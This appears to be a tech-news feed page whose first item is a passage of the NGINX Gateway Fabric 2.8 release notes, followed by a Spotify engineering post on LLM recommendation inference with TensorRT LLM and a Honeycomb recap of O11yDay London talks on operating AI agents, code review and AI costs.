What’s new: If you run the Prometheus Operator, NGINX Gateway Fabric can create ServiceMonitors for its own metrics. For the control plane, turn on nginxGateway.metrics.serviceMonitor.enable in the Helm chart, with optional labels, annotations, a scrape interval, and a tlsConfig for secure metrics. For the data plane, set serviceMonitor on the NginxProxy’s kubernetes.deployment or kubernetes.daemonSet, or nginx.serviceMonitor in the chart, and install the Prometheus Operator’s ServiceMonitor custom resource definition (CRD) before the control plane starts. The control plane then creates, for each Gateway, a ServiceMonitor and a headless ClusterIP Service that exposes only the NGINX metrics port. The ServiceMonitor scrapes through that Service, so metrics stay inside the cluster whatever type the Gateway’s traffic Service is (ServiceMonitors nginx/nginx-gateway-fabric#5776, metrics Service nginx/nginx-gateway-fabric#6054).
Why it matters: Scraping a Gateway’s data plane used to mean writing a ServiceMonitor by hand for each one and keeping its selectors in step with what NGINX Gateway Fabric provisions. Now the control plane creates it with the Gateway, so metrics collection keeps pace as you add Gateways, and the metrics endpoint is never published on the Gateway’s LoadBalancer or NodePort Service.
Access logs to a file or a syslog server
What’s new: The NginxProxy’s spec.logging.accessLog takes a destination. Set type: syslog with a syslog.server in host:port form to send access logs to a syslog collector, or type: file with a file.path to write them to a file. Without a destination, access logs go to /dev/stdout as before. A destination takes effect only when an access log format is also set: a custom format, or errorLogFormat: json for the built-in JSON format (nginx/nginx-gateway-fabric#5765). To use a file destination, mount a separate volume for the log file through the NginxProxy’s volumes and volumeMounts.
Why it matters: Access logs can go where your log pipeline already looks — the syslog collector you run, or a file a log shipper picks up — rather than only to the container’s stdout.
Smoother rolling upgrades
What’s new: When a data plane pod connects, the control plane now compares the image that pod is running with the version it expects, and rejects the connection on a mismatch. In the middle of a rolling upgrade, an old pod is no longer sent configuration built for the new version. The check also works in host network mode, where the pod is identified from its bound service account token (nginx/nginx-gateway-fabric#5927).
Why it matters: A rolling upgrade runs old and new data plane pods side by side for a while. Configuring only the pods that match the control plane’s version keeps old pods from applying configuration they weren’t built for, which caused intermittent failures in upgrades to NGINX Gateway Fabric 2.7.0.
Leaner watches on the Kubernetes API
What’s new: Two changes cut what the control plane asks of the Kubernetes API server:
	Secrets can be filtered by label: The new --watch-secret-label-selector control plane flag limits the Secrets the control plane watches and caches to the ones carrying a label you choose, such as gateway.nginx.org/watch=true. That includes the Secrets the control plane reads for itself. Before you turn it on, label every Secret your Gateways use, including TLS certificates, the agent TLS Secret, and any NGINX image pull Secrets. Otherwise, provisioning of the NGINX data plane fails. The Helm chart doesn’t yet support this flag, so add it to the control plane Deployment’s arguments and roll out the Deployment (nginx/nginx-gateway-fabric#5946).
	Watches stay open for as long as the API server allows: A 10-second timeout on the control plane’s Kubernetes client applied to every request, long-running informer watches included, so each watch was canceled and reopened every 10 seconds. That client-wide timeout is gone, and short-lived calls keep their own deadlines. Thanks to community contributor akshar27 for this fix (nginx/nginx-gateway-fabric#5814).

Why it matters: With the selector set, a control plane on a cluster full of unrelated Secrets caches only the ones you’ve labeled, so its memory follows your Gateway configuration rather than the size of the cluster. Each informer also keeps one watch open instead of opening a new one every 10 seconds, which takes load off the API server.
Verified TLS to the inference endpoint picker
What’s new: For Gateway API Inference Extension users, NGINX Gateway Fabric now honors a BackendTLSPolicy attached to the endpoint picker Service that an InferencePool references, and checks the picker’s certificate against the trusted certificate authority that policy specifies. The Helm value nginxGateway.gwAPIInferenceExtension.endpointPicker.skipVerify now defaults to false. Without a BackendTLSPolicy, the connection stays encrypted but unverified, and the HTTPRoute reports it with a gateway.nginx.org/EndpointPickerTLSVerificationSkipped condition (nginx/nginx-gateway-fabric#5980).
Why it matters: The endpoint picker decides which model server handles each inference request. A BackendTLSPolicy lets NGINX Gateway Fabric check that it’s talking to the picker you deployed; without one, the HTTPRoute’s status says verification is skipped, so the gap is visible rather than silent.
Smaller enhancements
	Data plane PodDisruptionBudgets in the Helm chart: nginx.podDisruptionBudget takes the same keys as the control plane’s nginxGateway.podDisruptionBudget — enable, minAvailable, maxUnavailable, and unhealthyPodEvictionPolicy — and renders them into the NginxProxy when the data plane runs as a Deployment. NGINX Gateway Fabric 2.7 added the API, but the chart could set a budget only for the control plane. minAvailable defaults to 1; set it to "" to use maxUnavailable instead. Community contributor owaisaamir built this (nginx/nginx-gateway-fabric#5964).

Stability and bug fixes
	Upstream connections are reused by default: Since NGINX Gateway Fabric 2.7.0 left upstream keepalive to the NGINX default, locations without an explicit keepAlive.connections still sent Connection: close to the backend, so every request opened a new upstream connection. They now use the keepalive Connection header unless an UpstreamSettingsPolicy sets keepAlive.connections to 0 (nginx/nginx-gateway-fabric#6010).
	Deleted EndpointSlices are removed from upstreams: An EndpointSlice delete event carries no labels, so it couldn’t be traced back to its Service, and NGINX kept the deleted endpoints in the upstream, where they could still receive requests. NGINX Gateway Fabric now records which Service owns each EndpointSlice and rebuilds the configuration when one is deleted (nginx/nginx-gateway-fabric#5968).
	Gateway addresses are set as the Service’s external IPs again: NGINX Gateway Fabric 2.7.0 stopped copying the IP addresses in a Gateway’s spec.addresses into the data plane Service’s externalIPs, so clusters that rely on external IPs refused connections to those addresses. They’re set again, on every Service type. Kubernetes 1.36 deprecates Service external IPs, and NGINX Gateway Fabric supports the field until Kubernetes removes it. Plan your move away from external IPs (nginx/nginx-gateway-fabric#5896).
	Data plane pods recover when their init container runs again: After a node or runtime disruption, a data plane pod’s init container could run again while its generated configuration survived. The init container then replaced the main NGINX configuration with a bootstrap version that didn’t load the OpenTelemetry module, or the F5 WAF for NGINX module on NGINX Plus. NGINX couldn’t start on the configuration it kept, and the pod never became ready. The bootstrap configuration now loads each module when it’s enabled. This fix comes from community contributor devaniketh (nginx/nginx-gateway-fabric#5858).
	Upstream servers are listed in a stable order: Resolved endpoints came back in no fixed order, so a rebuild could reorder the server lines, change the configuration hash, and trigger a reload that dropped long-lived gRPC and WebSocket streams. They’re now sorted by address and port. Developed by community contributor devaniketh (nginx/nginx-gateway-fabric#5805).
	Gateway status lists every routable address: With spec.addresses set, IP addresses assigned to the Gateway’s Service were left out of the Gateway’s status. Status now carries the static addresses along with the Service’s load balancer IP addresses and hostnames (nginx/nginx-gateway-fabric#6019).
	Client certificate validation works with an Opaque CA Secret: When a Gateway’s frontend TLS validation referenced an Opaque Secret holding the CA certificate under ca.crt, NGINX Gateway Fabric never wrote the CA bundle, so NGINX failed to reload and rolled the configuration back. It now creates the bundle (nginx/nginx-gateway-fabric#5913).
	An empty caCertificateRefs list no longer crashes the control plane: A BackendTLSPolicy with caCertificateRefs: [] and wellKnownCACertificates set passed validation, then crashed the control plane on an out-of-range index lookup. An empty list is now treated like an absent one. Thanks to community contributor somaz94 for this fix (nginx/nginx-gateway-fabric#5953).
	Inference requests reach the endpoint picker with their path: NGINX Gateway Fabric didn’t forward the request path to the Gateway API Inference Extension endpoint picker, so the picker could choose the wrong parser and fail the request with a 500 (nginx/nginx-gateway-fabric#5995).
	Every endpoint picker response header is passed on: NGINX Gateway Fabric forwarded only X-Gateway-Destination-Endpoint from the endpoint picker’s response and dropped the rest, which broke integrations such as NVIDIA Dynamo that send extra headers to the model servers. It now passes every header except hop-by-hop and framing headers into NGINX variables. A SnippetsFilter then sends the headers you need to the backend with proxy_set_header (nginx/nginx-gateway-fabric#6065).
	Stale status is cleared from resources the controller stops handling: When a route loses its parentRef, or a policy, filter, or ListenerSet drops out of the configuration while staying in the cluster, NGINX Gateway Fabric now removes the status it wrote. Status written by other controllers is left alone (nginx/nginx-gateway-fabric#5978).
	Service patches in the Helm chart reach the NginxProxy: A patches list under nginx.service in the Helm values wasn’t rendered into the NginxProxy, so the patches never reached the data plane Service. The chart now renders them. Community contributor devaniketh built this (nginx/nginx-gateway-fabric#5857).
	[Enterprise only] waf-config-mgr starts without error noise: With F5 WAF for NGINX enabled, the sidecar logged Error with config_set.json continuously until the first WAFPolicy loaded. The NGINX container now creates an empty config_set.json at startup, as it already did for policy_path.map. Community contributor divyanshu1810 wrote this fix (nginx/nginx-gateway-fabric#5863).

Under the hood
	Logging follows one set of guidelines, enforced by a linter: Log messages read consistently across the codebase, loggers are injected the way the project’s logging guidelines describe, and a logcheck lint step keeps it that way (messages nginx/nginx-gateway-fabric#5826, injection nginx/nginx-gateway-fabric#5777, linting nginx/nginx-gateway-fabric#5993).
	Panic logs are flushed before the process exits: The control plane flushes its logger when it recovers from a panic in its event loops, status updates, provisioner, or gRPC handlers, so the log lines that explain a crash aren’t lost with the process (nginx/nginx-gateway-fabric#5810).
	A simpler change processor: Event batches go straight to Process(), which applies upserts and deletes before deciding whether to rebuild the graph (nginx/nginx-gateway-fabric#5846).
	Route attachment is tracked per listener: A parentRef that attaches to several listeners keeps a hostname intersection and a port for each one, and section names are expanded once, when the graph is built (nginx/nginx-gateway-fabric#5914).
	Policy methods are generated: make generate-policies writes the boilerplate methods every policy type needs, so adding a policy no longer means copying them by hand (nginx/nginx-gateway-fabric#5729).
	The Helm chart has unit tests: make helm-unit-test runs helm-unittest suites over every chart template, covering default, conditional, and negative rendering (nginx/nginx-gateway-fabric#5920).
	A duplicate BackendTLSPolicy check is gone: The controller no longer re-checks that caCertificateRefs and wellKnownCACertificates aren’t both set, which the Gateway API CRD already rejects at admission. Checks the CRD doesn’t fully cover, such as the hostname, stay. This change comes from community contributor somaz94 (nginx/nginx-gateway-fabric#5951).


Upgrade notes
	nginx.org/htpasswd Secrets are no longer supported: The type was deprecated in NGINX Gateway Fabric 2.5. Basic authentication now reads only Opaque Secrets with the credentials under the auth key, so convert any nginx.org/htpasswd Secret an AuthenticationFilter references before you upgrade. Developed by community contributor devaniketh (nginx/nginx-gateway-fabric#5808).
	loadBalancerClass is left unset unless you set it: NGINX Gateway Fabric 2.7 set the data plane Service’s loadBalancerClass to its own controller name whenever a Gateway’s spec.addresses held an IP address, which kept cloud provider controllers and MetalLB from managing the Service. It now leaves the field unset unless you configure one. To have NGINX Gateway Fabric manage the load balancer, set loadBalancerClass to gateway.nginx.org/nginx-gateway-controller in the NginxProxy’s spec.kubernetes.service, or in nginx.service.loadBalancerClass in the Helm chart. The NginxProxy also rejects loadBalancerClass on any Service type other than LoadBalancer (nginx/nginx-gateway-fabric#5971).
	An existing loadBalancerClass is kept on upgrade: Kubernetes doesn’t allow a Service’s loadBalancerClass to change once it’s set, so a class already on the Gateway’s Service stays, whether NGINX Gateway Fabric 2.7 set it or another controller did. To hand a Service upgraded from 2.7 to a different load balancer, for example after you remove the Gateway’s spec.addresses, delete the Service so NGINX Gateway Fabric recreates it without a class. The recreated Service gets a new ClusterIP and new NodePorts (nginx/nginx-gateway-fabric#6053).


Community recognition
A big thank-you to the community behind NGINX Gateway Fabric 2.8. Your code, testing, and feedback made this release better.
Community contributions
Five community members built part of NGINX Gateway Fabric 2.8: six bug fixes, data plane PodDisruptionBudgets in the Helm chart, the removal of a deprecated Secret type, and a validation cleanup, each credited above next to the change it made. Thank you, akshar27, devaniketh, divyanshu1810, owaisaamir, and somaz94, for helping build this release!
Community inspired development work
We’re also grateful to three contributors whose pull requests didn’t merge but tackled problems this release solves another way. icelynjennings‘s pull request and sanmeshkakade‘s pull request each proposed ServiceMonitor support, which this release delivers in Prometheus ServiceMonitors for the control plane and the data plane. AruneshDwivedi‘s pull request tackled deleted EndpointSlices whose endpoints stayed in NGINX’s upstreams, which the deleted EndpointSlices fix in Stability and bug fixes addresses. We appreciate the effort.
Help shape NGINX Gateway Fabric 2.9
Work on NGINX Gateway Fabric 2.9 is already underway in the open. Pick up an open issue, send a fix for a bug you’ve hit, or propose a feature you’d like to build. The contributing guide walks you through it, from opening a discussion to sending a pull request.

Also in this release: Features that need an F5 NGINX Enterprise solution
These changes need NGINX Plus, F5 NGINX One Console, or F5 WAF for NGINX. For more information, check the F5 DevCentral release article.
	Active health checks: healthCheck.active on UpstreamSettingsPolicy probes each upstream server on a schedule, with interval, jitter, fails, passes, path, port, a match on the response status, gRPC health checking, mandatory checks for new servers, persistent health state across reloads, keepalive, timeouts, and request headers. A BackendTLSPolicy attached to the Service applies to its health check requests too. On NGINX Open Source, a policy that sets active is rejected (nginx/nginx-gateway-fabric#6000).
	The Secret label selector covers commercial Secrets too: With --watch-secret-label-selector set, also label the NGINX Plus license (JWT), CA, and client SSL Secrets, the NGINX One Console dataplane key Secret, and any F5 Policy Lifecycle Manager storage Secrets for F5 WAF for NGINX. Otherwise, NGINX Plus usage reporting stops working without a clear error (nginx/nginx-gateway-fabric#5946).
	A larger default upstream zone for NGINX Plus: Upstream zones default to 2m instead of 1m on NGINX Plus, making room for the extra upstream data that NGINX Plus API version 9 carries (nginx/nginx-gateway-fabric#5859).
	NGINX Plus usage reporting works with custom CA and client certificates: With caSecretName or clientSSLSecretName set for usage reporting, NGINX pods crash-looped at startup on a read-only file system error. The certificates are now copied into a writable volume, so NGINX starts and NGINX Agent can still rotate them (nginx/nginx-gateway-fabric#5877).
	A shared WAF security log bundle reaches every Gateway: When WAFPolicies attached to different Gateways referenced the same security log bundle, only the Gateway whose policy fetched it first received it, and NGINX on the others failed to start. Every Gateway that references the bundle now gets it (nginx/nginx-gateway-fabric#5895).
	A quieter waf-config-mgr startup: The F5 WAF for NGINX fix from community contributor divyanshu1810 is in Stability and bug fixes above (nginx/nginx-gateway-fabric#5863).


Getting started with NGINX Gateway Fabric 2.8
NGINX Gateway Fabric 2.8 is available now as a container image and a Helm chart on GitHub Container Registry (ghcr.io).
	Release notes and changes: Read the full changelog.
	Install and upgrade: Follow the NGINX Gateway Fabric installation guide.
	Documentation: Visit the NGINX Gateway Fabric documentation.
	Moving Ingress resources to Gateway API? Convert them with ingress2gateway, which has providers for NGINX Ingress Controller, Ingress-NGINX, and more.
	Interested in NGINX’s open source Kubernetes ecosystem? Start at kubernetes.nginx.org.

Stay tuned to the NGINX Blog for more release updates and technical deep dives.
Compatibility
NGINX Gateway Fabric 2.8 is compatible with these Kubernetes versions:
	Kubernetes: 1.32 or later
	Gateway API: 1.6.3
	Gateway API Inference Extension: 1.6.2

Keeping NGINX Gateway Fabric up to date
NGINX Gateway Fabric releases include important fixes and ongoing improvements. We encourage users to stay current with the latest version. NGINX Gateway Fabric 2.8 fixes two security issues: the configuration injection in AuthenticationFilter in CVE-2026-91184, and the NGINX Agent connection spoofing in CVE-2026-96615. Each CVE links to its official F5 advisory. NGINX Gateway Fabric 2.8 also ships NGINX Open Source 1.31.7. Since NGINX Gateway Fabric 2.7.0, which shipped NGINX Open Source 1.31.4, that brings fixes for six NGINX CVEs: five in F5’s security notification, and CVE-2026-90439.
To stay informed, subscribe to F5 notifications and select the relevant advisory updates.

Read it at the source



Advancing Generative Recommendation Inference: our collaboration with NVIDIA on TensorRT LLM

Spotify Engineering · Oct 16, 2:29 PM UTC

At Spotify, every surface and interaction is personalized to you as a user: the content on the Home page, the next song that plays, and more recently the ability to talk to Spotify. 
Traditionally, this content is provided by recommendation systems that require multiple steps for candidate retrieval and ranking, and perhaps individual systems per surface. Generative AI is fundamentally changing this. We have been exploring how to provide recommendations via a Large Personalized Language Model in real time, across multiple surfaces.
This shift, however, presents unique engineering challenges, particularly when moving from a proof of concept to a scalable, production-grade inference architecture. 
Spotify’s journey into LLM-powered recommendations
Beam search
In January 2026, Spotify introduced LLM-powered technology to its podcast recommendations. The work is grounded in recent advancements in generative recommendation architectures, specifically the foundational methods introduced in the PLUM paper . At Spotify, we have applied these concepts to build a specialized generative recommendation system for podcasts, aimed at delivering deeply personalized listening experiences. Our specialized architecture, detailed in our "Deploying Semantic ID-based Generative Retrieval for Large-Scale Podcast Discovery at Spotify" paper  employs beam search to explore multiple token sequence paths simultaneously for candidate generation. 
Beam search is a technique that allows exploration of an LLM’s output space with the goal of identifying highly probable token sequences. This technique navigates a decision tree of potential recommendations by keeping the most promising 'beams' or sequences active at each step, with the goal of identifying the highest-scoring podcasts for personalization. For this reason, these top sequences constitute semantic IDs that are then translated to catalog items to serve recommendations to users.

        
        Beam search decoding explanation.
      Our initial release relies on vLLM as an inference engine. vLLM is one of the most widely adopted open source inference engines, particularly strong at supporting modern model architectures for high-throughput  inference deployments. However vLLM’s support for beam search is limited compared to traditional completion requests – its beam search implementation doesn’t extract the maximum performance from GPU devices. 
Specifically, vLLM's beam search implementation operates outside the core GPU engine, which introduces CPU-side bottlenecks and additional GPU work due to the recomputation of partially filled KV blocks.
For our January launch, these limitations meant we couldn't fully utilize high-end GPUs, so we opted for lower-tier accelerators to manage costs while keeping the system at a more optimal load point. 
Candidate scoring
Another inference technique we’ve been exploring is candidate scoring. Candidate scoring uses a model's log probabilities to evaluate and rank a set of candidates. 
A naive way to perform this type of inference is to adopt a “fan-out” approach and run inference on each candidate separately, for each request then we extract the related logprobs, before aggregating them to achieve the desired ranking operation.
This type of inference is generally available in most open source inference engines, however a more efficient technique has found its way into SGLang, thanks also to work from Linkedin’s engineering team. For this reason we’ve been utilizing SGLang as well to access this feature at inference time with an efficient candidate masking technique that allows us to score multiple candidates in a single request.

        
        Multi item scoring explanation.
      Personalization
The most important part of Spotify recommendations is our ability to personalize based on user preferences and interactions. In our traditional recommendation systems, we have used dense user embeddings to accomplish personalization at scale. As we have experimented with LLM-based recommendations, we have explored a few approaches to enable personalization in this new paradigm.
Plain User Text
This approach entails converting user listening and interaction history to text to place in the prompt for the LLM. The major issue with fully text based user history is the amount of text required to accurately represent the user. Prompts become extremely large, resulting in large inference latency that is too long for our request budget as well as higher GPU usage. Plain User Text is used sparingly, generally for smaller cases like the user’s most recent real time streams.
User Semantic Ids
Similar to the PLUM paper mentioned earlier, we explored representing user history as a semantic id. This approach extends the model vocabulary with user semantic id tokens, which are easily added to prompts using a handful of text tokens, keeping prompts short and easily servable with no custom inference requirements. The LLM was fine tuned using the user semantic id space and extended vocabulary, and at inference time, a user semantic id is added to the prompt. While early results were promising, this approach requires further experimentation and research before it's ready for production. 
Soft Tokens
The most successful method we have used for personalizing LLM requests is based on our existing user embeddings. The general approach is outlined in a white paper called Embedding to Prefix created by Spotify Research. Overall, the idea is to learn a projection from an existing embedding space into an LLM’s embedding space as a single soft token.  The LLM is fine tuned using a subset of the weights to be able to use this soft token to personalize recommendation outputs. At inference time, a user vector is projected into the LLM embedding space and inserted into the prompt before executing the initial forward pass. We have used this approach successfully for podcast recommendations and are currently integrating and evaluating it for various tasks with our internal LLM model.

        
        Soft token projection explanation.
      Expanding LLM-powered recommendation systems
The successful rollout of our first LLM-powered recommendation system, along with continued internal experimentation, has grown into a broader effort to bring generative recommendation capabilities across Spotify, powering our listening experience across catalog offerings and driving user interactions across surfaces. As this work moves toward production, an efficient and manageable inference stack becomes increasingly important. This is where our collaboration with NVIDIA began.
Partnering with NVIDIA: Building for Feature Parity
We kicked off our collaboration with NVIDIA with a clear goal: unify the inference features that we require (efficient beam search, scoring, and user soft tokens) into a single engine. 
To address these challenges, we looked to TensorRT LLM (TRT-LLM) together with NVIDIA engineers. While TensorRT LLM offered superior hardware utilization for beam search, it initially lacked the specific "Score API" functionality available in our SGLang-based setup, as well as the ability to inject soft tokens and return sequences for multiple beams in beam search available in vLLM. With the NVIDIA engineering team—including Marek, Martin, Stefan, and Alexander—our goal was clear: close the feature gaps in TensorRT LLM.
This work resulted in several additions to the project to aid Spotify’s application of LLM in recommendation systems, specifically
	support for returning multiple sequences in beam search (v1.2.0rc3)

	support for out-of-tree models in trtllm-serve (v1.2.0rc4)

	support for passing multi-modal embeddings via “image_embeds” (v1.3.0rc0)

	support for multi-item scoring via the Python API (v1.3.0rc20)

	general bug fixes and performance improvements


Beam search in TensorRT LLM is implemented as part of the sampler, which reduces host overheads and, combined with overlap scheduling, ensures good GPU utilization. Moreover, the C++-based sampler in TensorRT LLM has been replaced with a more flexible design relying more heavily on PyTorch. The beam search support implemented in this new sampler provided a notable performance uplift compared to the previous implementation.
With NVIDIA’s help and review, we used TensorRT LLM’s out-of-tree model support to implement a customized Qwen3 extension plugin to implement our soft token approach. The plugin enables passing user vectors via multi-modal request parameters and performs the user embedding projection and soft token replacement.
The multi-item scoring extensions to TensorRT LLM’s Python API enable functionality equivalent to SGLang’s scoring API. Currently, a custom serving layer implementing efficient tokenization and request batching is required. However, TensorRT LLM is continuously evolving and has, e.g., recently added support for serving prefill-only embeddings. Multi-item scoring is an important performance optimization, because it avoids the overhead of a single request per candidate, while retaining a computational effort linear in the number of candidates.
The efforts mentioned above have landed in recent versions of TensorRT LLM, and the following benchmarks show the performance edge that the implementation is delivering.

        
        Beam search performance comparison.
      
        
        Multi item scoring performance comparison.
      These performance improvements have materially translated into significant cost reduction for Spotify’s generative recommendation applications. Looking at the 1.7B variant of Qwen3 this results in up to 54% cost reduction for beam search workloads and up to 7% cost reduction for scoring workloads.
The Road Ahead
Our collaboration with NVIDIA engineers has not only helped us address immediate inference challenges but has also broadened our perspective on the opportunities for further efficiency gains. As we continue to expand the use of generative recommendation models across Spotify, optimizing inference performance and cost efficiency will remain key priorities. Looking ahead, we are excited to continue working closely with NVIDIA to explore additional optimizations, with a particular focus on quantization and NVIDIA Blackwell-specific techniques that can help us unlock even greater performance from the latest GPU architectures. Ultimately, our goal is to build an inference stack that can support increasingly sophisticated personalization capabilities at scale, while keeping latency and infrastructure costs under control.
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Everything We Talked About at O11yDay London 2026

Honeycomb · Oct 16, 2:26 PM UTC

We just wrapped O11yDay London, and one theme ran through every session: writing code is no longer the hard part. Review queues, attention, operating agents in production, runaway token bills, and proving any of it is worth the money are where teams are getting stuck. The teams making progress are the ones who can see what's happening in production.
Here are some highlights. We'll have videos available in the near future.
Session recaps
Cobots, Dark Factories, and Architecting for AI (Sam Newman)
Sam, author of Building Microservices and Monolith to Microservices, opened the day with a talk about uncertainty, with a warning that anyone who tells you what the future looks like is selling something. Across the industry, measured gains from AI look closer to 10-15% than the 10x we were promised. Meanwhile, bigger PRs are overwhelming human review, and people are typing "LGTM" out of what he called cognitive surrender.
His reframe was to ask what human code review is for: correctness, shared learning, alignment with team practices, and auditability. Each of those can be handled in other ways (tests, fitness functions, automated checks). Borrowing from robotics, he suggested that not all code is equal. Critical modules might deserve a "cobot" approach, with human and AI working side by side, while less critical ones could be built in a "dark factory" with no one reading the code. Either way, trust comes from verifying output, not eyeballing it.
“Code's not truth. Never has been.”
Sam Newman
What's in people's heads and what's in production. That means observability has to extend into the delivery process itself. Agree as a team on why you do code review, find the modular boundaries where you can safely experiment, be intentional rather than rabid about AI, and use the time you gain to be more human.
Honeycomb: How We Built It and What's Coming Next (Liz Fong-Jones, Purvi Kanal, and Wolfgang Therrien, Honeycomb)
Honeycomb has roughly doubled its engineering output without adding engineers, and incidents nearly doubled with it. The team showed what it looks like to debug an agent with an agent, using Autobot, Honeycomb's internal code review agent.
Starting from a new Anomaly Detection alert, they followed an investigation through Canvas, which had already formed hypotheses, cited telemetry evidence, and surfaced candidate PRs before anyone opened the tab. From there, they moved to the Agent Timeline, which shows a single conversation's duration, LLM and tool calls, failures, tokens, and cost (about $1.70 and seven minutes for one review). Then, they moved to the AI Ecosystem page for the fleet view: seven agents, twelve tools, and a review agent responsible for 97% of spend. Zooming out to 14 days showed the failure spike lining up with the switch from reviewing once per PR to once per commit.
They also previewed what's next:
	Connectors that bring GitHub, Linear, and Braintrust context into Canvas
	Memory that lets agents retain the lore that normally lives in an engineer's head
	Team agents you can configure for specific services, SLOs, or anomalies

Finally, they pointed a coding agent at the finished canvas using Honeycomb's MCP server, and it opened a PR with the fix.

On-Demand Software: AI-Testing a Honeycomb Private Cloud Migration at Booking.com (Ben Hartshorne, Honeycomb, and Gural Vural, Booking.com)
Booking.com has used Honeycomb since 2016, at a scale of trillions of events a year. To get full value, they wanted to send far more data, which pointed them toward Honeycomb Private Cloud. Their hypothesis was that sending 5-10x more data would improve quality without a matching jump in cost, but they needed proof... and they only had two weeks.
Instead of a synthetic load test, Gural's team built AI agents that replayed thousands of real user queries (pulled from Honeycomb's activity log) against multiple environments, including their SaaS baseline. They did the same for Canvas and MCP usage. Private Cloud performance was comparable to SaaS, and the results were more representative. The test harness was built for this one evaluation, then thrown away.
Ben tied this to a concept he called falsework: temporary scaffolding, like the wooden frame under a bridge arch, that supports building the real thing. Because you plan to delete it, it doesn't have to be production quality, which makes it a great fit for AI-generated code.
Operational Excellence for Agents With Fin.ai (Brian Scanlan and Kesha Mykhailov, Fin)
Brian and Kesha packed a lot into one slot, but a lot of their talk centered around building good AI systems. "We're all AI engineers now," they said, which means two things: statistical rigor, and experimentation.
Brian covered how Fin rolled out Claude Code across the company with a plugin marketplace, enforced configuration, and a Honeycomb integration built on one very long shell script. Every behavior change now gets treated like a production experiment, with A/B arms and Honeycomb data. A few examples:
	Anthropic's brief mode cut output tokens by about 20%
	A hard nudge to delegate to cheaper models saved 7.4% in cost, versus 2.5% for a soft nudge
	A comment density hook produced 38.4% fewer comments
	A much-hyped token-saving tool turned out to save essentially nothing

Kesha then introduced Shrek, Fin's PR review agent, made up of subagents for problem statement, alignment, skills, correctness, and safety (for instance, PRs over 150 lines don't get approved, because small changes are safer to ship). Funnily enough, a cost-saving model swap caused Fin's first Shrek incident, because the cheaper model was 26% noisier and engineers got frustrated. Instead, they found a customer-centric signal: the percentage of PRs merged despite a rejection from the correctness agent. The engineers at Fin realized that agents really are sociotechnical systems, and every incentive you create has second-order effects.
How Is Agentic Product Engineering Affecting Platform Teams? (Abby Bangser, Syntasso/Kratix, and Adrian McCabe, Zopa Bank, moderated by Martin Thwaites, Honeycomb)
AI has multiplied what product engineers produce, but the people who review, run, and own that output haven't scaled with it. It's also no longer just engineers. Product managers and other roles are committing code, so capacity has to be measured against employees, not just engineering headcount. Platform teams are seeing PRs arrive with no prior conversation, sometimes three people building the same thing at once, and the burden lands on reviewers who have to operate code they didn't write.
Abby argued that internal platforms should cover what's unique to your business but common to your teams, and that agents, harnesses, and review tools now belong on that list. She prefers the word "coherency" to "standardization," since the goal is to reduce cognitive load so people want to use the platform.
Both agreed that "eating your vegetables" (good telemetry, error handling, tests) pays off more now that agents are constantly reading it.
You Can't Vibe Code Uptime... Or Can You? (Yana Chen, Baseten)
At Baseten, Yana works on reliability for an inference platform running over 100 Kubernetes clusters. In her talk at O11yDay London, she shared two stories about AI not quite doing the right thing.
The first: During a log shipper migration, Claude produced throwaway validation scripts quickly, but it told her 20 lagging nodes were "just a rollout" when the release had been suspended for seven months. Nothing was technically wrong, but the picture was incomplete, and she asked "are you sure?" 15 times across sessions, each one turning into a new check. It was not.
The second: An agent confidently named GOMAXPROCS as the root cause of dropped spans in Refinery, but it never checked the Go version Refinery actually used, which already had the solution. She compared it to the Woozle effect, where a claim repeated often enough becomes known to be "true."
“Somebody always pays.”
Yana Chen
Yana closed her talk with some advice: automate the routine work, and leave humans the rare and hard problems. AI made writing code cheap, but it made attention more expensive.
We Let AI Investigate Hundreds of Our Alerts (Johannes Weissensel and Mohammed Ragab, HelloFresh)
HelloFresh gave its Slack-based incident helper, TARS, an AI root cause agent, and saw service restored 20% faster on automatically created alerts, which—amazing—but there were issues along the way. Over 10% of investigations stalled, the agent sometimes finished after the on-call engineer had already fixed the issue, and less than 1% of investigations got user feedback.
To observe the agent, they built an OpenTelemetry pipeline to repair spans from the Claude Agent SDK (which had hidden subagents and swallowed errors) and sent them to Honeycomb's Agent Timeline. They layered on static rule checks plus an LLM judge scoring relevance, hallucination, and bias, and found stale instructions, unauthorized tool use, and a redundant step burning 34,000 tokens. They also found that messy telemetry, outdated runbooks, and noisy alerts now cost real tokens. Their conclusions:
	Fixing the old foundations helps humans and agents alike.
	A shared agent raises the floor for everyone, including the new joiner on their first shift.
	Building an agent is easy, but operating one is most of the work.

Your AI Problem Is Your 2016 Problems Dressed in a Trenchcoat (Rebecca Murphey, Honeycomb)
There is no one number that tells you whether engineering is worth it. What helps is a handful of old ideas from Amdahl's Law, Little's Law, and the theory of constraints: fix the slowest part, watch your queues, and expect a new bottleneck every time you remove one.
At Honeycomb, that bottleneck turned out to be code review. After an RFC listing what the team values in review, we found we could move much of it earlier, and automate more of it. We also found that about 80% of merged PRs had no human-driven changes. As a result, we updated our best practices to read that two developers must participate in a change, and one of them may be a machine. Our goal is to have machines review 25% of PRs on their own by year end, starting with low-risk changes.
“Review is the most expensive place to change your mind.”
Rebecca Murphey
Her parting advice: favor flow efficiency over cycle time, look at how much capacity goes to KTLO (robots are good at it), and ask where the next bottleneck will be, which might not be in software at all.
Everyone Is Looking at the CTO for the Answer on AI: 12 Months of Navigating AI (John Doran, Phorest)
The board wants to know how AI can drive revenue, customers want answers, and engineers are worried about slop and the safety of their jobs. As a CTO, John's approach was to get hands-on again and position himself as a learner. He shared how that played out at Phorest: the CEO shipped a PR, designers and PMs got hooked on building, and the board's question flipped from "where are we saving?" to "why aren't you spending more?"
Phorest launched Ivy, an AI booking agent that handles 95% of its chats, and set a goal to halve cycle time (first commit to production, measured at 44 hours). The hard part now is measurement, but John did share a good piece of advice: get a baseline, map your initiatives, note how long they took—and when the questions come (because they will), you can speak intelligently about what changed.
“Start the clock.”
John Doran
Nobody Knows What Anything Costs Anymore (Corey Quinn, The Duckbill Group)
Corey closed the day by opining that AI costs are, in addition to a finance problem, an observability problem. AI bills grow because an agent decides mid-request to do something else, retries, or resends a ton of context on every loop. Everything can return a 200 and still be a bad deal. He walked through his own examples: a crashloop that burned $50 before alerts caught it, a singing coffee pot that would have cost $1,400 at API prices, and a newsletter pipeline where traces showed half the spend went on work already done. He also cited an insurance claims agent averaging $0.73 per claim that occasionally hit $80.
“A bill that's itemized is very far from a bill that's explained.”
Corey Quinn
His recommendations are: include three fields on every span (cost, price at the time, and whether the result was accepted), share one request ID across retries, send telemetry using the OpenTelemetry GenAI semantic conventions instead of homegrown names, and apply spending limit enforcement outside the agent loop. And for the love of all that is holy, don't let an agent approve its own expenses.
See you next year, London!
